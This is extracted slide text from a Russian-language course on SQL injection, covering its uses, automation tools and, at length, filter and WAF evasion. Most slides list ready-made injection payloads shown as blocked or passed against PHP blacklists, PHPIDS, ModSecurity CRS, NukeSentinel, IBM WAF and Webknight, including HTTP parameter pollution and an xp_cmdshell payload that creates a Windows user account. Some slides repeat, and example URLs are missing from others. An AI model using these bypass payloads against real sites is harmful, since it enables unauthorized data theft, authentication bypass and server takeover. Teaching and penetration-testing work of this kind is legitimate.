ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
51

52. Где и как можно использовать SQL-инъекции

Где и как можно использовать SQLинъекции
Манипуляции с БД. В базе данных находится масса интересных данных.
И если получить доступ к чтению, то в руках у злоумышленников окажется
много полезных данных.
почтовые ящики
кредитки
личные данные
логины/пароли
переписки
информация о товарах
и многое другое
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Инъекция в INSERT и UPDATE позволит добавлять и менять данные в базе
данных. Например, назначить нового администратора или изменить новость.
52

53. Где и как можно использовать SQL-инъекции

Где и как можно использовать SQLинъекции
1. Обход авторизации. Если уязвимость есть в поле авторизации, то пароль
для входа и вовсе не понадобится. Злоумышленник сможет изменить
запрос так, чтобы можно было авторизоваться, имея лишь логин.
2. Чтение файлов или запись в файл. Возможность записывать данные
в файл дает огромные возможности злоумышленнику. Можно таким
образом записать в файл и сохранить на сервере все, что угодно.
Но для этого нужно, чтобы у пользователя базы данных были права
на запись, и знать полный путь к сайту. С помощью чтения файлов
можно прочитать, например, содержимое конфигурационных файлов
и другие конфиденциальные данные.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
3. SiXSS. Union-based и Error-based позволяют провести XSS атаки. Для
этого вместо вывода данных передается JS-код.
id=-1' union select 1,<script>alert(‘XSS');</script> --
53

54. Автоматизация SQL-инъекций

Использовать SQL-инъекции руками без утилит необходимо до тех пор, пока не набили руку.
Когда всему этому обучились и понятно, как все это устроено, можно уже автоматизировать,
так как некоторые типы SQL- инъекций очень сложно реализовывать руками. С помощью
утилиты можно сделать копию всей базы всего за пару минут.
Одной из популярных утилит для автоматизации SQL-инъекций является HaviJ. Утилита
настолько легка в использовании, что ей в основном пользуются «школьники». Какими-то
мега крутыми фишками она не обладает.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Самой лучшей и мощной утилитой для автоматизации SQL-инъекций считается
SQLMap. С каждым годом функционал утилиты возрастает. Она позволяет
узнавать все, что связано с БД.
- Использование самописных скриптов
- Использование Burp Suite Intruder
- Использование фаззера WFUZZ
54

55. Filter Evasion (MySQL)

В этом разделе будут описаны поведения filter evasion,
основанные на PHP и MySQL, и то, как обойти фильтрацию.
Filter evasion – техника, используемая для предотвращения
атак типа SQL-инъекция. Она может осуществляться путем
использования фильтрации функций SQL, ключевых слов или
регулярных выражений.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Это означает, что filter evasion сильно зависит от того, в каком
виде хранится черный список или регулярные выражения.
Если черный список или регулярное выражение не покрывают
всевозможные сценарии инъекций, то веб-приложение
по-прежнему уязвимо к SQL-инъекциям.
55

56. Обход фильтрации функций и ключевых слов

Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью
черного списка функций и ключевых слов.
Фильтруемые ключевые слова: and, or
Код PHP-фильтра: preg_match('/(and|or)/i',$id)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного
списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность
изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не
сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать
много функций и ключевых слов. Однако это мешает легальным пользователям посылать
запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку.
Следующие сценарии показывают примеры использования фильтрации ключевых слов
и функций, а также техники обхода фильтрации.
56

57. Обход фильтрации функций и ключевых слов

Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения
к SQL-инъекциям. Далее показан простой обход правила с использованием && и || вместо
and и or.
Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1
Пропущенная инъекция: 1 || 1 = 1 1 && 1 = 1
Фильтруемые ключевые слова: and, or, union
Код PHP-фильтра: preg_match('/(and|or|union)/i', $id)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Ключевое слово union обычно используется для создания вредоносной инструкции,
чтобы выбрать из базы дополнительные данные.
57

58. Обход фильтрации функций и ключевых слов

Примечание: при использовании Burp Suite (Repeater, Intruder) в момент проведения SQLi
с обходом фильтрации and заменой на &&, в качества обхода фильтра нужно будет указать
%26%26, что является закодированной в URL Encoding версией &&, так как, & в http запросе
принимается как стена между параметрами.
Фильтруемые ключевые слова: and, or, union, where
Код PHP-фильтра: preg_match('/(and|or|union|where)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users where user_id = 1) = 'admin'
Пропущенная инъекция: 1 || (select user from users limit 1) = 'admin'
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Фильтруемые ключевые слова: and, or, union, where, limit
Код PHP-фильтра: preg_match('/(and|or|union|where|limit)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users limit 1) = 'admin’
Пропущенная инъекция: 1 || (select user from users group by user_id having user_id = 1) =
'admin'
58

59. Обход фильтрации функций и ключевых слов

Фильтруемые ключевые слова: and, or, union, where, limit, group by
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users group by user_id having user_id =
1) = 'admin'
Пропущенная инъекция: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Фильтруемые ключевые слова: and, or, union, where, limit, group by, select
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Отфильтрованная инъекция: 1 || (select substr(group_concat(user_id),1,1) user from users)
=1
Пропущенная инъекция: 1 || 1 = 1 into outfile 'result.txt'
Пропущенная инъекция: 1 || substr(user,1,1) = 'a'
59

60. Обход фильтрации функций и ключевых слов

Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, '
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Отфильтрованная инъекция: 1 || (select substr(group_concat(user_id),1,1) user from users)
=1
Пропущенная инъекция: 1 || user_id is not null
Пропущенная инъекция: 1 || substr(user,1,1) = 0x61
Пропущенная инъекция: 1 || substr(user,1,1) = unhex(61)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы,
иначе вам придется получить эту информацию из information_schema, используя другой
оператор (например, функцию substring, чтобы получить имя таблицы посимвольно)
http://site.ru/index.php?var1=hello&var2=world
60

61. Обход фильтрации функций и ключевых слов

Поэтому, если мы пользуемся прямым модификатором http запросов (burp suite, charles),
необходимо && заменить на %26%26. Это же поможет, обойти фильтр &, если он слабо
настроен.
Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Отфильтрованная инъекция: 1 || substr(user,1,1) = unhex(61)
Пропущенная инъекция: 1 || substr(user,1,1) = lower(conv(11,10,36))
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex, substr
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Отфильтрованная инъекция: 1 || substr(user,1,1) = lower(conv(11,10,36))
Пропущенная инъекция: 1 || lpad(user,7,1)
61

62. Обход фильтрации функций и ключевых слов

Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex,
substr, white space
Код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i’,
$id)
Отфильтрованная инъекция: 1 || lpad(user,7,1)
Пропущенная инъекция: 1%0b||%0blpad(user,7,1)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений,
позволяющих обойти черный список, хотя он содержит много функций и ключевых слов.
Более того, данный черный список можно обойти огромным количеством SQL-выражений,
не попавших в примеры.
62

63. Обход фильтрации по регулярным выражениям

Фильтрация по регулярным выражениям – более совершенное
решение для предотвращения SQL-инъекций, чем фильтрация
функций и ключевых слов. Она использует проверку соответствия
шаблонам (а не отдельным словам) для обнаружения атаки. Запросы
легальных пользователей обрабатываются при этом более гибко.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Тем не менее, регулярные выражения тоже можно обойти.
Следующие
примеры
иллюстрируют
скрипты
инъекций,
используемые для обхода регулярных выражений в PHPIDS 0.6
(свободно распространяемой системе обнаружения вторжений
для веб-приложений).
63

64. Обход фильтрации по регулярным выражениям

PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая
строка или целое число. Однако, это можно обойти, используя выражение, не содержащее
символов =, ( и '.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Отфильтрованная инъекция: 1 or 1 = 1
Пропущенная инъекция: 1 or 1
Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables
where table_name = 'users'
Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables
where table_name between 'a' and 'z'
Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables
where table_name between char(97) and char(122)
Пропущенная инъекция: 1 union select 1, table_name from information_schema.tables
where table_name between 0x61 and 0x7a
Пропущенная инъекция: 1 union select 1, table_name from information_schema.tables where
table_name like 0x7573657273
64

65. Обычные техники обхода

В этом разделе упоминаются техники WAF. Прежде всего, вам нужно узнать,
что такое WAF.
Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс,
плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу.
Обычно эти правила покрывают распространенные атаки вроде межсайтового
скриптинга
(XSS)
или
SQLинъекции.
Адаптация
правил
WAF к вашим приложениям позволит обнаружить и блокировать множество
атак. Однако адаптация правил может потребовать значительных усилий
и должна возобновляться после внесения изменений в приложение.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
WAF часто называют «Файрволы с глубоким исследованием пакетов»,
так как они просматривают каждый запрос и ответ для протоколов
HTTP/HTTPS/SOAP/XML-RPC.
Некоторые
современные
WAF-системы
обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.
Теперь давайте поймем, как пробиться через WAF с помощью обфускации.
Все WAF можно обойти, поняв со временем их правила, или используя свое
воображение!
65

66. Обход с помощью комментариев

SQL-комментарии позволяют нам обходить множество фильтров
и WAF.
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
Изменение регистра букв
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Некоторые WAF фильтруют ключевые слова,
записанные только в нижнем регистре.
Фильтр регулярных выражений: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
66

67. Замещение ключевых слов

Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые
слова SQL. Это можно легко обойти.
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-В некоторых случаях ключевые слова SQL отфильтровываются и заменяются
пробелами. Это можно обойти, используя "%0b".
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3-ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
В случае Mod_rewrite, обход с помощью комментариев "/**/" невозможен. Так что мы используем
"%0b" вместо "/**/".
Запрещено: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
Пропущено: http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
67

68. Кодировка символов

Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные
приложению данные. Однако некоторые WAF декодируют данные лишь единожды, так что
двойное кодирование может обойти определенные фильтры: WAF декодирует данные один раз
перед фильтрацией, в то время как приложение продолжит декодирование при обработке
SQL-запроса.
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a
/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Кроме того, комбинация этих приемов позволяет обходить Citrix Netscaler:
• удалите все пустые (NULL) слова
• используйте кодирование запроса в некоторых местах
• избавьтесь от символа одинарной кавычки «’»
Armorlogic Profense до версии 2.4.4 мог быть обойден URL-кодированием символа новой строки.
68

69. NukeSentinel (Nuke Evolution)

Nukesentinel.php
$blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \ stristr($nsnst_const['query_string'],'%20union
%20') OR \ stristr($nsnst_const['query_string'],'*/union/*') OR \ stristr($nsnst_const['query_string'],'
union ') OR \ stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Мы можем обойти их фильтрацию с помощью такого запроса:
Запрещено: http://victim.com/php-nuke/?/**/union/**/select…..
Пропущено: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
Пропущено: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…
69

70. Mod Security CRS

Правило: REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/*
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
"\bunion\b.{1,100}?
\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK
/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%
{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}', setvar:tx.sql_injection_score=+%
{tx.critical_anomaly_score},setvar:tx.anomaly_s core=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION%{matched_var_name}=%{tx.0}"
70

71. Mod Security CRS

Следующий код позволяет обойти их фильтр:
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect %23foo%0D
%0A1%2C2%2Ccurrent_user
Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим,
что происходит.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
MySQL Server поддерживает 3 вида комментариев:
• от символа "#" до конца строки
• от последовательности "--" до конца строки
• си-подобный: между "/*" и "*/«
Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько строк,
так как открывающая и закрывающая последовательности не обязаны лежать в одной строке.
В следующем примере мы использовали последовательность "%0D%0A" в качестве символов
новой строки.
71

72. Mod Security CRS

Давайте рассмотрим первый запрос, выявляющий имя пользователя БД. Результирующий
(декодированный) SQL-код выглядит примерно так:
0 div 1
union#foo*/*/bar
select#foo
1,2,current
В итоге (учитывая комментарии) MySQL DB выполняет такой код:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
0 div 1 union select 1,2,current_user
72

73. Переполнение буфера

WAF, написанный на языке Си, потенциально уязвим к переполнению, и может вести себя
нетипично при больших объемах, передаваемых данных. Передача большого объема данных
позволяет нашему коду выполниться.
http://victim.com/news.php?id=1+and+(select 1)=(select
0x414141414141441414141414114141414141414141414141414141414141414141….)
+union+select+1,2,version(),database(),user(),6,7,8,9,10—
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
73

74. Встроенные комментарии (Только MySQL)

Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые
особые варианты Cи-подобных комментариев.
Использование комментария следующего вида позволяет писать переносимый код,
включающий расширения, специфичные для MySQL: MySQL Server разберет и выполнит код,
заключенный в такой комментарий, как любое другое SQL-выражение, но остальные
SQL- серверы его проигнорируют.
Множество WAF фильтрует ключевые слова SQL примерно так:
/union\sselect\ig
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Мы можем обойти этот фильтр, используя встроенные комментарии.
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
74

75. Встроенные комментарии (Только MySQL)

Встроенные комментарии могут быть использованы в любом месте SQL выражения.
Так что, если table_name или information_schema фильтруются, мы можем использовать
больше встроенных комментариев.
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_n ame*/)+FrOm/*!
information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/ +like+database()-Эти скрипты могут все правила фильтрации SQL-инъекций:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
1 ||1=1
1 /*!order by*/ 3
1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name =
0x7573657273*/
1 /*!union select*/ /*!user,password*/ from /*!users*/
75

76. Продвинутые техники обхода

В этом разделе мы предлагаем две техники: «HTTP Pollution:
Разделяй и соединяй» и «HTTP Parameter Contamination».
Эти техники позволяют обходить множество открытых
и коммерческих WAF
76

77. HTTP Parameter Pollution

HTTP Pollution – это новый класс уязвимостей к инъекции. HPP - очень простой,
но эффективный прием тестирования. HPP атаки можно определить как возможность
замещения или добавления GET/POST параметров через инъекцию в строке запроса.
Пример HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"
Обработка HTTP параметров: (пример)
Интерпретация параметров
Пример
ASP.NET/IIS
Склеивание через запятую
par1=val1,val2
ASP/IIS
Склеивание через запятую
par1=val1,val2
PHP/Apache
JSP/Tomcat
Результат – последнее значение
Результат – первое значение
par1=val2
par1=val1
Perl/Apache
Результат – первое значение
par1=val1
DBMan
Склеивание через две тильды
par1=val1~~val 2
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Веб-сервер
77

78. HTTP Parameter Pollution

Что случится с WAF, которые разбирают строку запроса перед
применением фильтров? (HPP может использоваться даже
для обхода WAF).
Некоторые бестолковые WAF могут анализировать и проверять
только одно вхождение параметра (первое или последнее).
Всякий раз, когда соответствующая среда склеивает
множественные вхождения параметра (ASP, ASP.NET, DBMan,
…), атакующий может разделить вредоносный код.
С помощью этого приема можно обходить и коммерческие WAF.
Более подробная информация указана далее
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
78

79. Mod Security CRS

Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому блокирует.
Запрещено: http://victim.com/search.aspx?q=select name,password from users
Когда тот же код разделяется на несколько параметров с одинаковыми именами, ModSecurity его не блокирует.
Пропущено: http://victim.com/search.aspx?q=select name&q=password from users
Посмотрим, что происходит. Вот интерпретация ModSecurity:
q=select name
q=password from users
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
А вот интерпретация ASP/ASP.NET:
q=select name, password from users
Подобную атаку можно провести и с POST-переменными.
79

80. Коммерческие WAF

Запрещено: http://victim.com/search.aspx?q=select name,password from users
Теперь используем HPP+встроенный комментарий для обхода.
Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name& amp;q=password/*&q=*/from/*&q=*/users
Проанализируем. Вот интерпретация WAF:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
Вот интерпретация ASP/ASP.NET:
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users
80

81. IBM Web Application Firewall

Запрещено: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” –
Снова используем HPP+встроенный комментарий для обхода.
Пропущено: http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net
user lucifer UrWaFisShiT” /*&id=1*/ -Проанализируем. Вот интерпретация WAF:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
id=1’; /* id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ “net user zeq3ul UrWaFisShiT” /* id=1*/ -Вот интерпретация ASP/ASP.NET:
id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ -id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --
81

82. IBM Web Application Firewall

Проще всего справиться с этой атакой WAF может путем запрета
множественных вхождений параметра в одном HTTP-запросе.
Это предотвратит все разновидности данной атаки.
Однако такой запрет может оказаться невозможным в случаях, когда
защищаемому приложению необходима возможность множественных
вхождений параметров. В этом случае WAF должен интерпретировать
HTTP-запрос так же, как это сделало бы приложение.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
82

83. HTTP Parameter Contamination

В основе HTTP Parameter Contamination (HPC) лежит
инновационный подход, найденный в ходе более глубокого
исследования HPP и использования странного поведения
компонентов веб-серверов, веб-приложений и браузеров
в результате замусоривания параметров строки запроса
зарезервированными или не ожидаемыми символами.
Некоторые факты:
• термин «строка запроса» обычно относится к части URI,
находящейся между "?" и концом URI
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
• в RFC 3986 «строка запроса» определяется как последовательность
пар поле-значение
• пары разделяются символами "&" или ";" RFC 2396 определяет
следующие классы символов:
• не зарезервированные: a-z, A-Z, 0-9 and . ! ~ * ' ()
• зарезервированные: ; / ? : @ & = + $ ,
• нецелесообразные: { } | \ ^ [ ] `
83

84. HTTP Parameter Contamination

Разные веб-серверы по-разному обрабатывают специально сформированные запросы. Можно
назвать больше комбинаций серверов, движков и специальных символов, но для примера
в этот раз нам хватит.
Строка запроса и ответ веб-сервера (Пример)
Строка запроса
Ответ веб-сервера / GET значения
IIS6/ASP
?test[1=2
test_1=2
test[1=2
?test=%
test=%
test=
?test%00=1
test=1
test=1
?test=1%001
NULL
test=1
?test+d=1+2
test_d=1 2
test d=1 2
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Apache/2.2.16, PHP/5.3.3
84

85. HTTP Parameter Contamination

Магическое влияние символа "%" на ASP/ASP.NET
Ключевые слова
WAF
ASP/ASP.NET
sele%ct * fr%om..
sele%ct * fr%om..
select * from..
;dr%op ta%ble xxx
;dr%op ta%ble xxx
;drop table xxx
<scr%ipt>
<scr%ipt>
<script>
<if%rame>
<if%rame>
<iframe>
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
85

86. Примеры из реального мира

1. Обход правила обнаружения SQL-инъекции в Mod_Security
Запрещено: http://localhost/?xp_cmdshell
Пропущено: http://localhost/?xp[cmdshell
2. Обход правила URLScan 3.1 DenyQueryStringSequences
Запрещено: http://localhost/test.asp?file=../bla.txt
Пропущено: http://localhost/test.asp?file=.%./bla.txt
3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP.Net)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Запрещено: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Пропущено: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info
%rmation_schema.tables)
Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем "HTTP
contamination", вставляя "%" в ключевые слова SQL, которые WAF пропускает.
86

87. Примеры из реального мира

В результате он пересылает на веб-сервер следующую команду:
id=10 and 1=0/(select top 1 table_name from information_schema.tables)
поскольку "%" является символом-пустышкой для ASP/ASP.Net.
Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для
исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным
атакам, поскольку для причуд веб-серверов не существует строгих правил.
HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя
параметра в строке запроса с помощью символа "%", если WAF блокирует HPP.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
87

88. DIOS

DIOS в этом разделе будем рассматривать на основе БД MySQL.
88

89. DIOS

DIOS (dump in one shot) метод, позволяющий выгрузить все
данные за один запрос к БД. Техника применяется в Union Base
SQL инъекциях, то есть с выводом результатов запросов
в браузер.
Для начала, необходимо выяснить, какие операторы
используется для DIOS вывода.
• все возможные комбинации оператора SELECT
• @a – использование переменных
• := использование оператора присваивания для инициализации
переменных
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
• != исключение
• IN – использование оператора проверки вхождения
• concat – использование функции конкатенации или, другими
словами, склеивание нескольких строк в одну
Самостоятельно !
89

90. Поиск SQL-injection

90

91. Поиск SQL-injection

Вы уже многое узнали о том, что такое SQL инъекция, усвоили
некоторые весьма непростые темы и научились её эксплуатировать.
Однако мы все еще не поговорили о том, как и где найти данную
уязвимость. Знайте, что в малом количестве случаев, уязвимая
часть веб приложения — вот так просто не «свалится» вам
на голову. В поиске уязвимости очень важна внимательность
и наблюдательность. Наверняка, эти навыки вы уже отточили
еще на уроках по активному и пассивному фаззингу.
Итак, где же мы можем постараться найти SQL инъекцию:
• в HTTP заголовках
• в пользовательских формах ввода
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Частым примером таких форм, являются форм авторизации
и поиска на целевом веб приложении
91

92. Поиск в параметрах HTTP запроса

Наверняка, на протяжении всех предыдущих уроков вы поняли, что SQL инъекция может
возникнуть там, где мы можем задать какой-либо параметр.
Представим, что перед нами стоит задача, найти SQL инъекцию на каком-либо новостном сайте.
Допустим, наш сайт называется newnews.com. При переходе из страницы с одной новостью, на
другую, вы заметили, что параметр id из URL страницы меняется. На странице с новостью,
о пожаре в Калифорнии URL был следующим:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
А на странице о повышении курса USD, URL был следующим:
92

93. Поиск в параметрах HTTP запроса

Из этого, мы можем предположить, что SQL запрос для страницы с новостью о повышении USD
может быть примерно таким:
Пока мы не можем предполагать, какая же там таблица, из которой мы получаем данные
при валидном значении параметра id. Нам больше всего должен быть интересен момент
с заданием значения для параметра id. В примере выше ему задается строковый тип.
Давайте представим, что так и есть на самом деле. Тогда, чтобы выявить SQL инъекцию,
подставим кавычку в качестве значения параметра.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Для этого, в адресной строке после числа 24 я поставлю одиночную кавычку.
93

94. Поиск в параметрах HTTP запроса

В таком случае, после отправки запроса, база данных SQL вернет нам ошибку на этой странице.
Поздравляю! Мы нашли SQL инъекцию.
После отправки запрос к БД стал выглядеть уже по-иному.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Как видим, в запросе появилась еще одна одинарная кавычка. Тем самым, мы вышли
за пределы задания значения параметру id, но появилась лишняя кавычка. Чтобы избавиться
от ошибки, нам необходимо закомментировать последнюю кавычку. Сделать это очень просто.
В SQL для комментирования можно использовать “--” (двойное тире между которым необходимо
соблюдать пробелы).
94

95. Поиск в параметрах HTTP запроса

Также, нам необходимо закончить эту строку запроса, чтобы не напроситься на еще одну ошибку.
Для того чтобы показать, что мы завершаем наш запрос, необходимо прописать символ дочки
с запятой “;”. В итоге, нам нужно дописать в конец URL данной страницы следующее:
Тем временем, запрос к базе будет выглядеть уже по-другому
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
После отправки этого запроса ошибка исчезнет.
95

96. Поиск в параметрах HTTP запроса

Теперь, давайте рассмотрим второй вариант того, как может выглядеть входящий параметр.
В таком случае все будет очень схоже с первым вариантом, за исключением того,
что переменной id задается числовое значение.
Мы можем, опять-таки, попробовать подставить в этот запрос кавычку. Но в таком варианте
шансы того, что это сработает малы. В основном, такой метод не сработает из-за нескольких
вариантов сложившихся событий.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
96

97. Поиск в параметрах HTTP запроса

• На сайте имеется фильтрация. Та самая одинарная кавычка может фильтроваться, тем
самым, это может немного затормозить вас. Для решения такой проблемы и подтверждения
того, что кавычка фильтруется, подставим после задания параметра слово “hack”.
Запрос к базе будет выглядеть очень странным для базы данных:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
После отправки такого запроса на сервер появляется еще три варианта развития событий.
Один из этих вариантов - появление ошибки, которое и сообщает нам о наличии
уязвимости.
97

98. Поиск в параметрах HTTP запроса

• Если, исходя из первого метода, у вас ничего так и не получилось, то не огорчайтесь,
наверняка на сайте отключен отчет об ошибках. Для поиска SQL инъекции в таком случае, нам
не нужно тратить много сил. Все намного проще чем вы думаете. Всего-то закомментируйте
все, что стоит после заданного параметру id числа. Если страница вернет нам
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
После отправки такого запроса на сервер появляется еще три варианта развития событий.
Один из этих вариантов - появление ошибки, которое и сообщает нам о наличии
уязвимости.
98

99. Поиск в параметрах HTTP запроса

• Если, исходя из первого метода, у вас ничего так и не получилось, то не огорчайтесь,
наверняка на сайте отключен отчет об ошибках. Для поиска SQL инъекции в таком случае, нам
не нужно тратить много сил. Все намного проще чем вы думаете. Всего-то закомментируйте
все, что стоит после заданного параметру id числа. Если страница вернет нам
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
После отправки такого запроса на сервер появляется еще три варианта развития событий.
Один из этих вариантов — появление ошибки, которое и сообщает нам о наличии
уязвимости.
• Третий и самый страшный вариант — отсутствие уязвимости. Если вы перепробовали все
и как бы не подступались, ничего не получается, то наверняка на целевом ресурсе данной
уязвимости нет. Возможно, ее устранили до вас или ее не было вовсе (что маловероятно).
99

100. Пользовательские формы ввода

Практически все веб ресурсы буквально кишат этими формами ввода. С формами поиска все
выглядит идентично рассматриваемому ранее методу. Для нас интересна форма авторизации.
Давайте представим, что мы тестируем сайт интернет-магазина какого-либо coolseller.com
Наша задача — определить наличие SQL инъекции на данном веб ресурсе. Первое, что нам
бросилось в глаза - красивая форма авторизации. Но это всего-то внешний вид. Все мы знаем,
что у нее внутри. Наша форма авторизации запрашивает логин и пароль пользователя.
Допустим, мы знаем, что на этом ресурсе имеется пользователь Seller, пароль от аккаунта,
которого мы не знаем. Давайте, на примере его аккаунта, попробуем отыскать уязвимость.
Предположим мы ввели в форму авторизации целевой логин и произвольный пароль —
Seller/pass444.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
